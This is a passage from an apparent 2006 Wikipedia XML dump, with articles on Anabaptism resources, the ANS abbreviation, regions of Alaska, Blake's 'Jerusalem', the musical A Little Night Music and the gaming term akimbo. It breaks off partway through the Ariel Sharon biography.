* {{cite web | title=Anabaptist Network.com | url=http://www.anabaptistnetwork.com/ | accessdate=December 15 | accessyear=2005}} - UK-based network focused on historical Anabaptism and its relevance for contemporary Christianity. Includes a [http://www.anabaptistnetwork.com/anabaptists What is Anabaptism?] FAQ
* {{cite web | title=Anabaptist.org | url=http://www.anabaptist.org | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=AnabaptistChurch.org | url=http://www.anabaptistchurch.org | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=Mennonite Origins and the Mennonites of Europe | work=Bible Views  | url=http://www.bibleviews.com/menno-heritage.html | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=The Dordrecht Confession of Faith | work=Bible Views | url=http://www.bibleviews.com/Dordrecht.html | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=The Story of the Church: The Protestant Reformation: The Anabaptists and Other Radical Reformers | work=Ritchie Family Page | url=http://www.ritchies.net/p4wk4.htm | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=The Anabaptist Story | work=The Reformed Reader | url=http://www.reformedreader.org/history/anabaptiststory.htm | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=Introduction to the Martyr's Mirror | work=Martyr's Mirror Online | url=http://www.homecomers.org/mirror/intro.htm | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=The Radical Reformation: Resources | work=Eldrbarry.net | url=http://www.eldrbarry.net/heidel/anabrsc.htm | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=The Schleitheim Confession | work=Anabaptist Network | url=http://www.anabaptistnetwork.com/schleitheimconfession | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=Third Way Cafe | url=http://www.thirdway.com/ | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=Menno on the Net | url=http://www.tekstlink.com/menno.htm | accessdate=December 15 | accessyear=2005}} - A directory of web pages about church reformer Menno Simons
* {{cite web | title=Global Anabaptist Mennonite Encyclopedia Online | url=http://www.gameo.org/ | accessdate=December 15 | accessyear=2005}}
* {{cite web | title=Cascadia Publishing House | url=http://www.CascadiaPublishingHouse.com | accessdate=December 15 | accessyear=2005}} - Publisher of Anabaptist-related resources
* {{cite web | title=DreamSeeker Magazine | url=http://www.CascadiaPublishingHouse.com/dsm | accessdate=December 15 | accessyear=2005}} - Featuring Anabaptist-related writers and articles
* {{cite web | title=Holdeman Mennonites | url=http://www.holdeman.org | accessdate=December 15 | accessyear=2005}}

[[Category:Anabaptism]]
[[Category:Mennonitism]]
[[Category:Baptism]]

[[ca:Anabaptisme]]
[[cs:Novokřtěnci]]
[[da:Gendøber]]
[[de:Täufer (Reformation)]]
[[es:Anabaptismo]]
[[eo:Anabaptismo]]
[[fr:Anabaptisme]]
[[it:Anabattisti]]
[[hu:Anabaptizmus]]
[[nl:Anabaptisme]]
[[ja:再洗礼派]]
[[pl:Anabaptyzm]]
[[pt:Anabaptista]]
[[sv:Anabaptism]]
[[uk:Анабаптисти]]
[[zh:再洗礼派]]</text>
    </revision>
  </page>
  <page>
    <title>ANS</title>
    <id>2935</id>
    <revision>
      <id>40537202</id>
      <timestamp>2006-02-21T07:16:00Z</timestamp>
      <contributor>
        <ip>212.138.113.13</ip>
      </contributor>
      <comment>/* In English */</comment>
      <text xml:space="preserve">'''ANS''' is a [[three-letter abbreviation]] with multiple meanings, as described below:

==In English==
* The '''ANS organization''' (the [[American Nuclear Society]])
* The '''ANS organization''' (the [[American National Standards]])
* The '''ANS organization''' (the [[American Numismatic Society]])
* The '''ANS in biology''' (the [[autonomic nervous system]])
* The [[National Rail]] code for [[Ainsdale railway station]], [[United Kingdom]]. External links: {{Sildb prim|ANS|station information}}; {{Mmukpcloc|PR8|3JP}}; {{Brldb prim|ANS|live departures and arrivals}}.

==In other languages==
* The '''ANS grammar''' ([[Algemeen Nederlandse Spraakkunst]]), the [[Dutch language|Dutch]] grammar
* The '''ANS magazine''' ([[Algemeen Nijmeegs Studentenblad]]), a [[Dutch language|Dutch]] student magazine
* The '''ANS satellite''' ([[Astronomische Nederlandse Satelliet]]), an X-ray satellite

==In music==
* The [[ANS synthesizer]] (named after Alexander Nikolayevich [[Scriabin]]), the Russian photoelectric music instrument
* The '''''ANS'' album''', the 2003 music album by British band [[Coil (band)|Coil]]

&lt;!--Categories, from closest/narrowest to farthest/most generic:--&gt;

{{TLAdisambig}}

&lt;!--In other languages, alphabetically by language (not code) name:--&gt;

[[de:ANS]]
[[nl:ANS]]</text>
    </revision>
  </page>
  <page>
    <title>Alaska Panhandle</title>
    <id>2936</id>
    <revision>
      <id>36080908</id>
      <timestamp>2006-01-21T12:18:17Z</timestamp>
      <contributor>
        <username>Kralizec!</username>
        <id>182971</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[Canadian province]] to [[Provinces and territories of Canada]]</comment>
      <text xml:space="preserve">The '''Alaska Panhandle''' is the coast of the [[United States|American]] state of [[Alaska]], just west of the northern half of the [[Provinces and territories of Canada|Canadian province]] of [[British Columbia]].  In many places, the [[international border]] runs along the crest of the [[Boundary Ranges]] of the [[Coast Mountains]] (see [[Alaska Boundary Dispute]]).

The [[Panhandle]] includes the [[Tongass National Forest]], [[Glacier Bay National Park]], [[Admiralty Island National Monument|Admiralty Island]] [[National Monument]], [[Alaska's Inside Passage]], and myriad large and small islands.  The largest islands are, from North to South, [[Chichagof Island]], [[Admiralty Island]], [[Baranof Island]], and [[Prince of Wales Island]].  Major bodies of water of the Alaska Panhandle include [[Glacier Bay]], [[Lynn Canal]], [[Icy Strait]], [[Chatham Strait]], [[Stevens Passage]], [[Fredrick Sound]], [[Summer Strait]], and [[Clarence Strait]].

Wildlife includes [[brown bear]]s, [[american Black Bear|black bears]], [[wolf|wolves]], [[Sitka deer]], [[humpback whale]]s, [[orca]]s, five species of [[salmon]], [[bald eagle]]s, [[harlequin duck]]s, [[scoter]]s, and [[Marbled Murrelet|marbled murrelet]]s.

Major cities are [[Juneau, Alaska|Juneau]], [[Sitka, Alaska|Sitka]], and [[Ketchikan, Alaska|Ketchikan]]. Other towns are [[Petersburg, Alaska|Petersburg]], [[Wrangell, Alaska|Wrangell]], [[Metlakatla, Alaska|Metlakatla]], [[Haines, Alaska|Haines]], [[Hoonah, Alaska|Hoonah]], [[Angoon, Alaska|Angoon]], [[Kake, Alaska|Kake]], [[Craig, Alaska|Craig]], [[Klawock, Alaska|Klawock]], [[Yakutat, Alaska|Yakutat]], [[Skagway, Alaska|Skagway]], and [[Gustavus, Alaska|Gustavus]]. There are also many tiny (ie, less than 100 people) towns and villages, such as [[Pelican, Alaska|Pelican]], [[Tenakee Springs, Alaska|Tenakee Springs]], [[Port Protection, Alaska|Port Protection]], [[Port Frederick, Alaska|Port Frederick]], [[Port Alexander, Alaska|Port Alexander]], [[Baranof Warm Springs, Alaska|Baranof Warm Springs]], [[Elfin Cove, Alaska|Elfin Cove]], [[Excursion Inlet, Alaska|Excursion Inlet]], [[Hyder, Alaska|Hyder]], and [[Meyers Chuck, Alaska|Meyers Chuck]].

This area is the traditional homeland of the [[Tlingit]] people.

On [[August 20]], [[1902]], [[President]] [[Theodore Roosevelt]] established the Alexander Archipelago Forest Reserve, which formed the heart of the [[Tongass National Forest|Tongass]] [[National Forest]] that covers most of the region. 

{{Alaska}}

[[Category:Geography of Alaska]]
[[Category:Panhandles]]

[[de:Alaska Panhandle]]</text>
    </revision>
  </page>
  <page>
    <title>Algemeen Nederlands Studentenblad</title>
    <id>2937</id>
    <revision>
      <id>15901315</id>
      <timestamp>2004-03-15T17:58:09Z</timestamp>
      <contributor>
        <username>Anthony DiPierro</username>
        <id>34793</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Algemeen Nijmeegs Studentenblad]]</text>
    </revision>
  </page>
  <page>
    <title>Algemeen Nijmeegs Studentenblad</title>
    <id>2938</id>
    <revision>
      <id>40300066</id>
      <timestamp>2006-02-19T17:21:58Z</timestamp>
      <contributor>
        <username>PaulHanson</username>
        <id>119319</id>
      </contributor>
      <comment>stub</comment>
      <text xml:space="preserve">The '''''Algemeen Nijmeegs Studentenblad''''' is an independent student magazine for the [[Radboud University Nijmegen]]. Founded in 1985 by the local student union AKKU, it is now published by the Stichting Multimedia.

==External links==
* http://www.ans-online.nl/ (Flash required)

{{netherlands-stub}}
{{newspaper-stub}}

[[Category:Student magazines]]
[[Category:Dutch student societies]]

[[nl:Algemeen Nijmeegs Studentenblad]]</text>
    </revision>
  </page>
  <page>
    <title>Alaska Interior</title>
    <id>2939</id>
    <revision>
      <id>34476315</id>
      <timestamp>2006-01-09T09:03:31Z</timestamp>
      <contributor>
        <username>Deanshan</username>
        <id>250082</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Interior fall.jpg|thumb|300px|Fall in Interior Alaska]]
The '''interior''' of [[Alaska]] makes up most of the state.  It is largely wild and undeveloped.

Mountains include [[Mount McKinley]] (Denali) in the [[Alaska Range]] and the [[Wrangell Mountains]].

The largest city in the interior is [[Fairbanks, Alaska|Fairbanks]], Alaska's second-largest city, in the [[Tanana Valley]].  Other towns include [[North Pole, Alaska|North Pole]], just south of Fairbanks, [[Eagle, Alaska|Eagle]], [[Tok, Alaska|Tok]], [[Talkeetna, Alaska|Talkeetna]], [[Glennallen, Alaska|Glennallen]], [[Delta Junction, Alaska|Delta Junction]], [[Nenana, Alaska|Nenana]], [[Anderson, Alaska|Anderson]], [[Healy, Alaska|Healy]] and [[Cantwell, Alaska|Cantwell]].

== Climate ==
Interior Alaska experiences seasonal temperature extremes.  Winter temperatures in Fairbanks average -25°C (-12°F) and summer temperatures average +17°C (+61°F). Temperatures there have been recorded as low as -61°C (-82°F) in mid-winter, and as high as +34°C (+101°F) in summer.

The average annual precipitation in Fairbanks is 28.7 cm (11.3 inches).  Most of this comes in the form of snow during the winter.  Most storms in the interior of Alaska originate in the [[Gulf of Alaska]], south of Alaska.

On clear winter nights, the [[aurora borealis]] can often be seen dancing in the sky.  Like all subarctic regions, the months from May to July in the summer have no night, only a twilight during the night hours. The months of November - January have little daylight.  Fairbanks receives an average 21 hours of daylight between May 10 and August 2 each summer, and an average of less than 4 hours of daylight between November 18 and January 24 each winter.

The interior of Alaska is largely underlined by discontinuous [[permafrost]], which grades to continuous permafrost as the [[Arctic Circle]] is approached.

{{Alaska}}

[[Category:Geography of Alaska]]</text>
    </revision>
  </page>
  <page>
    <title>And did those feet in ancient time</title>
    <id>2940</id>
    <revision>
      <id>41724542</id>
      <timestamp>2006-03-01T08:27:19Z</timestamp>
      <contributor>
        <username>SamuelWantman</username>
        <id>68446</id>
      </contributor>
      <comment>[[Calendar Girls]] use</comment>
      <text xml:space="preserve">'''''And did those feet in ancient time''''' is a [[poem]] by [[William Blake]] from the preface to his work ''[[Milton: a Poem]]'' ([[1804]]). Today it is best known as the [[hymn]] '''''Jerusalem''''', with [[music]] written by [[Hubert Parry|C. Hubert H. Parry]] in [[1916]]. 

The poem was published in a patriotic anthology of verse in 1916 because morale had begun to decline due to the high number of casualties in the [[First World War]] and the perception that there was no end in sight.  It was little known before then.  To many the poem seemed to define what Britain was fighting for and so Parry was asked to put it to music at a Fight for Right campaign meeting in London's [[Royal Albert Hall]]. The most famous version was [[orchestration|orchestrated]] by [[Sir Edward Elgar]] in [[1922]] for the Leeds Festival.

This is considered to be one of [[England]]'s most popular [[patriotism|patriotic]] songs, often being used as an alternative anthem. It is variously associated with English [[nationalism]], [[antimodernism|anti-modernism]], [[postmodernism|post-modernism]], [[socialist]] ideals, and [[Christianity]], thereby holding a rather odd position. ''Jerusalem'' is the official anthem of the [[British National Party]] and the [[British Women's Institute]], and historically was used by the [[National Union of Suffrage Societies]].

The text of the poem was inspired by the [[legend]] that [[Jesus]], while still a young man, accompanied [[Joseph of Arimathea]] to [[Glastonbury]]. Blake's biographers tell us that he believed in this legend. However, the poem's [[Theme (literature)|theme]] or [[subtext]] is subject to much sharper debate, probably accounting for its popularity across the philosophical spectrum. As a paean to a mythical Englishness the poem has come under criticism: after all, the first verse is a series of questions to which the 'truthful' answer is no, while the second frames a series of demands to which the reply might well be &quot;get them yourself!&quot;. Consequently many see it as unsuitable as an alternate National Anthem, and its reference to a foreign capital city as puzzling to other nations. It is unlikely that Blake intended such a literal interpretation.

One particular line from the poem, &quot;Bring me my chariot of fire&quot;, which inspired the title of the film ''[[Chariots of Fire]]'', most probably draws on the story of 2 Kings 2:11, where the Old Testament prophet [[Elijah (prophet)|Elijah]] is taken directly to heaven.  A church congregation sings &quot;Jerusalem&quot; at close of the film.  It is also sung in the film ''[[Calendar Girls]]'' at a meeting of the British Women's Institute.

The song was performed by the band [[Emerson, Lake and Palmer]] on their album ''[[Brain Salad Surgery]]'', where it appeared under the title ''Jerusalem''. [[Iron Maiden]] singer [[Bruce Dickinson]] recorded a much transformed version on his solo concept album about Blake, ''The Chemical Wedding''. [[The Fall (band)|The Fall]] and [[Billy Bragg]] have also recorded versions of the song, and [[the KLF|the KLF]] (as the Jamms) used it to end &quot;It's Grim Up North&quot;. [[Composer]] [[Robert Steadman]] incorporated a version in his [[remembrance]]-themed [[choral]] work ''In Memoriam'' (premiered in [[1995]]). In [[2000]], British novelty-pop group Fat Les recorded another version, entitled ''Jerusalem'' or alternately ''Jerusalem 2000''. This time it was a rousing electronic dance track, and was used as the England football team's theme at [[Euro 2000]]. 

Jerusalem, along with [[Abide With Me]], is always sung at the [[Rugby League]] Challenge Cup Final and both songs are known as Rugby League anthems. Since 2004 it has been sung at the beginning of [[England]] [[cricket]] matches and is regularly sung by [[Rugby Union]] crowds.

The tune has been set to several texts in the United States, where the traditional lyrics would have little relevance, including ''O Love of God, how strong and true'', which was performed in an arrangement by [[Michael McCarthy (choirmaster)|Michael McCarthy]] at [[Ronald Reagan]]'s funeral at [[Washington National Cathedral]].


== Text ==
{{Wikisource|Preface to Milton: a Poem}}
:And did those feet in ancient time
:Walk upon England's mountains green?
:And was the holy [[Lamb of God (religious)|Lamb of God]]
:On England's pleasant pastures seen?
:And did the Countenance Divine
:Shine forth upon our clouded hills?
:And was [[Jerusalem]] builded here
:Among these dark Satanic mills?

:Bring me my bow of burning gold!
:Bring me my arrows of desire!
:Bring me my spear! O clouds, unfold!
:Bring me my [[Chariots of Fire|chariot of fire]]!
:I will not cease from mental fight
:Nor shall my sword sleep in my hand
:Till we have built Jerusalem
:In England's green and pleasant land

Some versions (including Blake's original) have &quot;strife&quot; rather than &quot;fight&quot;.

==See also==
*[[Civil religion]]
*[[Merry England]]
*[[UK topics]]
*[[Industrial Revolution#Romantic Movement|Romantic Movement and the industrial revolution]]

==External links==
*[http://david.jamesnet.ca/britannica/Jerusalem.ra RealMedia Audio File]

[[Category:British cultural icons]]
[[Category:William Blake's poems]]
[[Category:Christian hymns]]
[[Category:English folklore]]
[[Category:Patriotic songs]]
[[Category:Songs popular at sporting events]]

[[de:And did those feet in ancient time]]
[[eo:And did those feet in ancient time]]
[[sv:Jerusalem (hymn)]]</text>
    </revision>
  </page>
  <page>
    <title>Bush Alaska</title>
    <id>2941</id>
    <revision>
      <id>40109631</id>
      <timestamp>2006-02-18T05:00:28Z</timestamp>
      <contributor>
        <ip>70.108.155.73</ip>
      </contributor>
      <comment>ANSCA link</comment>
      <text xml:space="preserve">'''The Bush''' is a cultural as well as geographic division of the state of [[Alaska]] in the [[United States]]. Most Alaskans refer to any place besides [[Anchorage, Alaska|Anchorage]], [[Fairbanks, Alaska|Fairbanks]], [[Juneau City and Borough, Alaska|Juneau]], and the towns of the [[Kenai_Peninsula_Borough, Alaska|Kenai Peninsula]] and [[Matanuska-Susitna_Borough, Alaska|Mat-Su]] [[Borough|boroughs]] as falling within the Bush. The Bush is generally described as any community not &quot;on the road system,&quot; making it accessible only by such means of transportation as: Snomobile/snowmachine, plane, boat, etc.

Two kinds of Bush communities exist in Alaska: '''The Bush Hub''' and '''The Bush Village'''.

== The Bush Hub ==
These are the hub towns of a few thousand people:  [[Barrow, Alaska|Barrow]], [[Nome, Alaska|Nome]], [[Kotzebue, Alaska|Kotzebue]], [[St. Mary's, Alaska|St. Mary's]], [[Bethel, Alaska|Bethel]], [[Dillingham, Alaska|Dillingham]], [[Unalaska, Alaska|Dutch Harbor]], and [[Cordova, Alaska|Cordova]]. Bush hub towns tend to share a number of defining characteristics. These generally include:
*isolated road systems (roads do not connect to any other significant towns or cities).
*effects of permafrost (exposed sewage/water pipes, raised buildings, buckled roads).
*busy airports.
Hub cities are said to still have a &quot;wild west&quot; feel to them, (complete with many outlaw type characters) serving as they do as &quot;jump off&quot; points for so many communities. A constant flow of comers and goers gives these towns, small by other standards, a bustling and transitional feeling beyond their comparatively diminutive sizes.

== The Bush Village ==
Each hub town services a multitude of [[rural]] settlements and villages. The Bush Village presents a way of life that differs vastly from that of even its closely related parent hub. The Bush Village has a unique and profound kind of isolation that seldom is fully understood or appreciated by non-village dwellers. The following is a description of a particular village in S.W. Alaska, but the isolation of any Bush Village can be characterized by at least part of the following:
*no roads or cars, but [[boardwalk]]s for four-wheelers and paths for snow machines.
*no bathrooms with showers or hot running water; [[steam bath]]s are used exclusively for bathing.
*no restaurants or prepared foods available for sale, except for a few tiny village stores with odd hours.
*most of the food eaten in the village is caught near the village (or at seasonal &quot;fish camps&quot;) by those living in the village. (some very interesting foods are enjoyed, such as [[fermented fish]] and &quot;stink heads&quot;)
*the exception to these is at the school, where lunch, hot water and a flush toilet can be found. There is also a &quot;washeteria&quot; building where clothes can be washed and a shower can be taken for cost.
*few jobs, no economic base, very high energy costs.
*more or less daily power outages.
*delivery of US Mail is regularly delayed, sometimes for more than a week at a time.
*restrictions on alcohol (&quot;dry,&quot; illegal to consume and possess).
*the native language is spoken during official village functions and is taught at the school exclusively through third grade.
*a tiny unpaved runway with frequently unflyable conditions.

More to Add:
*Native [[Alaska Native Claims Settlement Act|ANSCA]] corporations, federal government lands, airstrips.

{{Alaska}}

[[Category:Geography of Alaska]]</text>
    </revision>
  </page>
  <page>
    <title>A Little Night Music (the film)</title>
    <id>2942</id>
    <revision>
      <id>41443352</id>
      <timestamp>2006-02-27T09:56:02Z</timestamp>
      <contributor>
        <username>Martianlostinspace</username>
        <id>742541</id>
      </contributor>
      <minor />
      <comment>moved [[A Little Night Music]] to [[A Little Night Music (the film)]]: Avoid confusion with Mozart's piece of the same name.</comment>
      <text xml:space="preserve">'''''A Little Night Music''''' is a [[Musical theater|musical]] with music and lyrics by [[Stephen Sondheim]] and book by [[Hugh Wheeler]].  Based on the [[Ingmar Bergman]] film ''[[Smiles of a Summer Night]]'', it tells the story of a lawyer, Fredrik Egerman, who is married to a very young wife, Anne, who, despite the fact that they have been married almost a year, is still a virgin.  He sees an old flame, Desiree Armfeldt, who is appearing in a popular play, and his romantic interest in her is rekindled. However, she is having an affair with a jealous, and married, military man, Count Carl-Magnus Malcolm.  Complicating matters is Egerman's son, Henrik, a divinity student who is in love with his stepmother.  The play culminates in a weekend at the country estate of Desiree's mother, Madame Armfeldt, who is looking after Desiree's daughter, Fredrika, while Desiree is on tour.

Much of the music in the show is written in [[waltz]] (3/4) [[time signature|time]], and the work is often considered an [[operetta]] rather than standard [[musical comedy]].  Despite the oblique Mozart reference in the title (see below), the elegant, [[harmony|harmonically]]-advanced music in this show pays indirect homage to the compositions of [[Maurice Ravel]], especially his ''[[Valses nobles et sentimentales]]''.  The score contains Sondheim's best-known song, &quot;[[Send in the Clowns]]&quot;, as well as such songs as &quot;The Glamorous Life,&quot; &quot;You Must Meet My Wife,&quot; &quot;Every Day a Little Death,&quot; &quot;Liaisons,&quot; &quot;In Praise of Women,&quot; &quot;A Weekend in the Country,&quot; and &quot;The Miller's Son.&quot;  The score makes heavy demands on performers, with heavy use of [[counterpoint]] and most singing parts written with an operatic range.

''A Little Night Music'' opened on [[Broadway theatre|Broadway]] at the [[Shubert Theatre]] on [[February 25]], [[1973]], with a cast which included [[Glynis Johns]], [[Len Cariou]], [[Hermione Gingold]], [[Victoria Mallory]], [[Mark Lambert (actor)|Mark Lambert]], [[Laurence Guittard]], [[Patricia Elliott]], and [[D. Jamin-Bartlett]].  It won the [[New York Drama Critics Circle Award]] and the [[Tony Award]] for [[Tony Award for Best Musical|Best Musical]].

The subsequent London production in 1974 starred [[Jean Simmons]], [[Joss Ackland]], [[David Kernan]], [[Diane Langton]], and [[Hermione Gingold]] reprising her role as Madame Armfeldt.

In 1978, a film version of '''A Little Night Music''' was made, starring [[Elizabeth Taylor]], [[Lesley-Anne Down]], and [[Diana Rigg]], with [[Len Cariou]], [[Hermione Gingold]], and [[Laurence Guittard]] reprising their Broadway roles.  The setting for the film was moved from Sweden to Austria, and was filmed on location.  Much of the score was cut, and many of the performers, including Taylor, were dubbed by other singers.  [[Stephen Sondheim]] wrote lyrics for the &quot;Night Waltz&quot; theme (&quot;Love Takes Time&quot;) and wrote an entirely new version of &quot;The Glamorous Life&quot; which has been incorporated into several subsequent productions of the stage musical. The film marked legendary Broadway director [[Hal Prince]]'s first time as a motion picture director.

In addition to the original Broadway and London cast recordings, and the motion picture soundtrack (now out of print), there are recordings of the 1990 studio cast, the 1995 [[Royal National Theatre]] revival (starring [[Judi Dench]]), and the 2001 Barcelona cast recording sung in [[Catalan language|Catalan]].  In 1997 an all-jazz version of the score was recorded by [[Terry Trotter]].

== Musical Numbers ==
*Overture
*Night Waltz
*Now
*Later
*Soon
*Glamorous Life 
*Remember?
*You Must Meet My Wife 
*Liaisons 
*In Praise of Women 
*Every Day a Little Death
*Weekend in the Country
*Night Waltz I/The Sun Won't Set
*Night Waltz II (Liebeslieders) 	 
*It Would Have Been Wonderful 
*Perpetual Anticipation
*Send in the Clowns 
*Miller's Son 	 
*Send in the Clowns Reprise	 
*Last Waltz (orchestral)

== Awards ==
In [[1973]], the original [[Broadway theatre|Broadway]] production was nominated for eleven [[Tony Awards]].  It won in the following categories:
*Best Musical ([[Harold Prince, producer]])
*Best Book of a Musical ([[Hugh Wheeler]])
*Best Original Score ([[Stephen Sondheim]])
*Best Actress in a Musical ([[Glynis Johns]])
*Best Featured Actress in a Musical ([[Patricia Elliott]])
*Best Costume Design ([[Florence Klotz]])

The following were the other nominations.  In the Best Featured Actress category, both [[Hermione Gingold]] and [[Patricia Elliott]] were nominated against one another for their work on the same show.
*Best Actor in a Musical ([[Len Cariou]]) 
*Best Featured Actor in a Musical ([[Laurence Guittard]])
*Best Featured Actress in a Musical ([[Hermione Gingold]]) 
*Best Scenic Design ([[Boris Aronson]])
*Best Lighting Design ([[Tharon Musser]])
*Best Direction of a Musical ([[Harold Prince]])

Additionaly in [[1973]], [[D'Jamin Bartlett]], [[Patricia Elliott]], and [[Laurence Guittard]] were honored with [[Theatre World Award]]s for their work on the show.

[[Category:Musicals|Little Night Music,A]]

----

'''A Little Night Music''' is also an occasionally used translation of ''[[Eine Kleine Nachtmusik]]'', the nickname of [[Wolfgang Amadeus Mozart|Mozart]]'s Serenade No. 13 for strings in G major, K. 525.</text>
    </revision>
  </page>
  <page>
    <title>Akimbo (gaming)</title>
    <id>2943</id>
    <revision>
      <id>40743602</id>
      <timestamp>2006-02-22T18:59:32Z</timestamp>
      <contributor>
        <username>Bloodshedder</username>
        <id>20963</id>
      </contributor>
      <comment>/* Examples */ +blood</comment>
      <text xml:space="preserve">:''For other uses, see [[Akimbo (disambiguation)|akimbo]].''

In [[computer gaming]], [[weapon]]s are '''akimbo''' if identical weapons are held in each [[hand]]. This usually refers to [[handgun]]s (many [[first person shooter]]s have such weapons as &quot;[[Beretta]]s akimbo&quot; or &quot;[[pistol]]s akimbo&quot;) but can refer to any other weapon that can be held in one hand such as [[Machine pistol]]s (for example &quot;akimbo [[MAC-10]]s&quot;) and even melee weapons (e.g. [[katana]]s or [[lightsaber]]s). It should be noted that computer games frequently allow the player to wield submachine guns akimbo style, even though doing this in real life would render both weapons completely uncontrollable.

This particular version of ''akimbo'' is derived from [[Japanese language|Japanese]]. The word is used in traditional [[samurai]] texts to describe a particular class of samurai that wielded two swords, one in each hand. The word acquired its current slang usage via fans of action director [[John Woo]], who used the word to describe his trademark style of wielding two handguns at once.

{{quotation|Give a guy a gun, he thinks he's Superman. Give him two and he thinks he's God.|John Woo|[[Hard Boiled]]}}

It has since entered into the computer gaming lexicon as well (this [[etymology]] is mentioned in the book [http://www.amazon.com/exec/obidos/tg/detail/-/0879516631 Hong Kong Action Cinema] by [[Bey Logan]]).

== Examples ==

In [[role-playing game]]s (especially [[computer role-playing game|computer RPGs]]), holding two weapons with one in each hand is called '''dual wielding'''. Notable CRPGs that allow akimbo:

* [[Diablo II]]
* [[The Elder Scrolls II: Daggerfall]]
* [[Knights of the Old Republic]]
* [[Neverwinter Nights]]

In [[first-person shooters]], ''dual-wielding'' refers to wielding one weapon in one hand and a different weapon in the other hand. ''Akimbo'' is a subset of ''dual-wielding'' in that the weapons in the hands of the player character are the same (&quot;dual-wielding Plasma Rifle and Magnum&quot; vs. &quot;akimbo Magnums&quot;). Notable shooter games that allow akimbo:

* [[Blood (computer game)|Blood]]
* [[BloodRayne]]
* [[Counter-Strike]] (''[[Beretta]]s'' only, though)
* [[Halo 2]]
* [[Max Payne]] and [[Max Payne 2]]

== See also ==

* [[Hyoho Niten Ichi-ryu]]
* [[Lightsaber combat#Form X: Jar'Kai|Jar'Kai]]
* [[Main-gauche]]

[[Category:Computer and video game gameplay]]

[[de:Akimbo]]</text>
    </revision>
  </page>
  <page>
    <title>Ariel Sharon</title>
    <id>2944</id>
    <revision>
      <id>42094036</id>
      <timestamp>2006-03-03T20:06:32Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>rv again ... caught wrong ver.</comment>
      <text xml:space="preserve">&lt;!-- _Please_ do not add unverified or premature claims, particularly relating to Sharon's death, until and unless such claims have been made by several separate news sources. --&gt;
:''For more detail of Sharon's recent illness, see [[Illnesses of Ariel Sharon]].

{{Infobox_Prime_Minister
|name=Ariel Sharon
|image=Ariel_Sharon.jpg
|order=11th [[Prime Minister of Israel]]
|term_start= [[March 7]] [[2001]]
|term_end=
|deputy=[[Ehud Olmert]] (currently Acting P.M.)
|predecessor=[[Ehud Barak]]
|successor=''[[Incumbent]]''
|birth_date=[[February 26]], [[1928]]
|birth_place=[[Kfar Malal]]
|death_date=
|death_place=
|spouse=Margalit Sharon (d. 1962);&lt;br&gt;[[Lily Sharon]] (d. 2000)
|party=[[Kadima]] (formerly [[Likud]])
}}
'''{{Audio|He-Ariel Sharon.ogg|Ariel &quot;Arik&quot; Sharon}}''' ([[Hebrew language|Hebrew]]: אריאל &quot;אריק&quot; שרון) (born [[February 26]] [[1928]]) is the eleventh and current [[Prime Minister of Israel]], serving since February 2001. Since [[January 4]] [[2006]], Sharon has been incapacitated by the effects of a massive [[hemorrhagic stroke]].

Sharon has been a highly controversial figure, both in and outside Israel. Supporters view him as a leader who strove to establish peace without sacrificing Israel's security. Many Israelis consider him a [[war hero]] who helped defend the country during some of its greatest struggles. Some critics refer to him as &quot;the Butcher of [[Beirut]]&quot; and have sought to prosecute him as a [[war criminal]] for alleged crimes related to the [[Sabra and Shatila massacre]] during the [[1982 Lebanon War]], for which the [[Kahan Commission]] held him indirectly responsible.

On [[January 4]] [[2006]], Sharon suffered a massive [[hemorrhagic stroke]], was declared &quot;temporarily incapable of discharging his powers&quot;, and [[Ehud Olmert]], the Deputy Prime Minister, was officially confirmed as the Acting Prime Minister of Israel. Sharon is currently undergoing medical treatment; see the ''[[#Incapacitation|Incapacitation]]'' section.

==Early life==
Sharon was born '''Ariel Scheinermann''' [[February 26]] [[1928]] to Shmuel and Dvora (formerly Vera), immigrants from [[Russia]]. They arrived in the  [[Aliyah#Second Aliyah|Second Aliyah]] and settled in a [[socialist]] and [[secular]] community, where they, despite being [[Mapai]] supporters, were known to be contrarians against the prevailing community consensus:

:''The Scheinermans' eventual ostracism... followed the 1933 Arlozorov murder when Dvora and Shmuel refused to endorse the Labor movement's anti-Revisionist calumny and participate in Bolshevi(k)-style public revilement rallies, then the order of the day. Retribution was quick to come. They were expelled from the local health-fund clinic and village synagogue. The cooperative's truck wouldn't make deliveries to their farm nor collect produce.'' [http://www.netanyahu.org/antacyonsche.html]

In 1942 at the age of 14, he joined the [[Gadna]], a [[Paramilitary force|paramilitary]] youth [[battalion]], and later the [[Haganah]], the underground paramilitary force and the Jewish military [[precursor]] to the [[Israel Defense Forces]]. At the creation of Israel (and [[Haganah]]'s transformation into the Israel Defense Forces), Sharon was a [[platoon]] commander in the [[Alexandroni Brigade]]. Sharon was severely wounded in the [[groin]] by the [[Jordan]]ian [[Arab Legion]] in the Second Battle of [[Latrun]], an unsuccessful attempt to relieve the [[Siege|besieged]] [[Jew]]ish community of [[Jerusalem]]. His injuries eventually healed. 

In September 1949, he was [[Promotion|promoted]] to [[Company (military unit)|company]] commander (of the Golani Brigade's reconnaissance unit) and in 1950 to [[intelligence officer]] for Central Command. He then took leave to begin studies of history and Middle Eastern culture at the [[Hebrew University|Hebrew University of Jerusalem]]. A year and a half later, he was asked to return to active service in the rank of [[major]] and as the leader of the new [[Unit 101]], Israel's first [[special forces]] unit.

Unit 101 undertook a series of [[Revenge|retaliatory]] [[raid]]s against [[Palestinian]]s and neighboring [[Arab]] states that helped bolster Israeli morale and fortify its [[deterrence|deterrent]] image. However, the unit was also known for targeting civilians as well as Arab soldiers, notably in the widely condemned [[Qibya massacre|Qibya operation]] in the fall of 1953, in which 69 Palestinian civilians, half of which were women and children, were killed by Sharon's troops in a reprisal attack on their [[West Bank]] village.  In the [[documentary]] &quot;Israel and the Arabs: 50 Year War&quot; Ariel Sharon recalls what happened after the raid, which was heavily condemned by many countries in the West, including the U.S.:

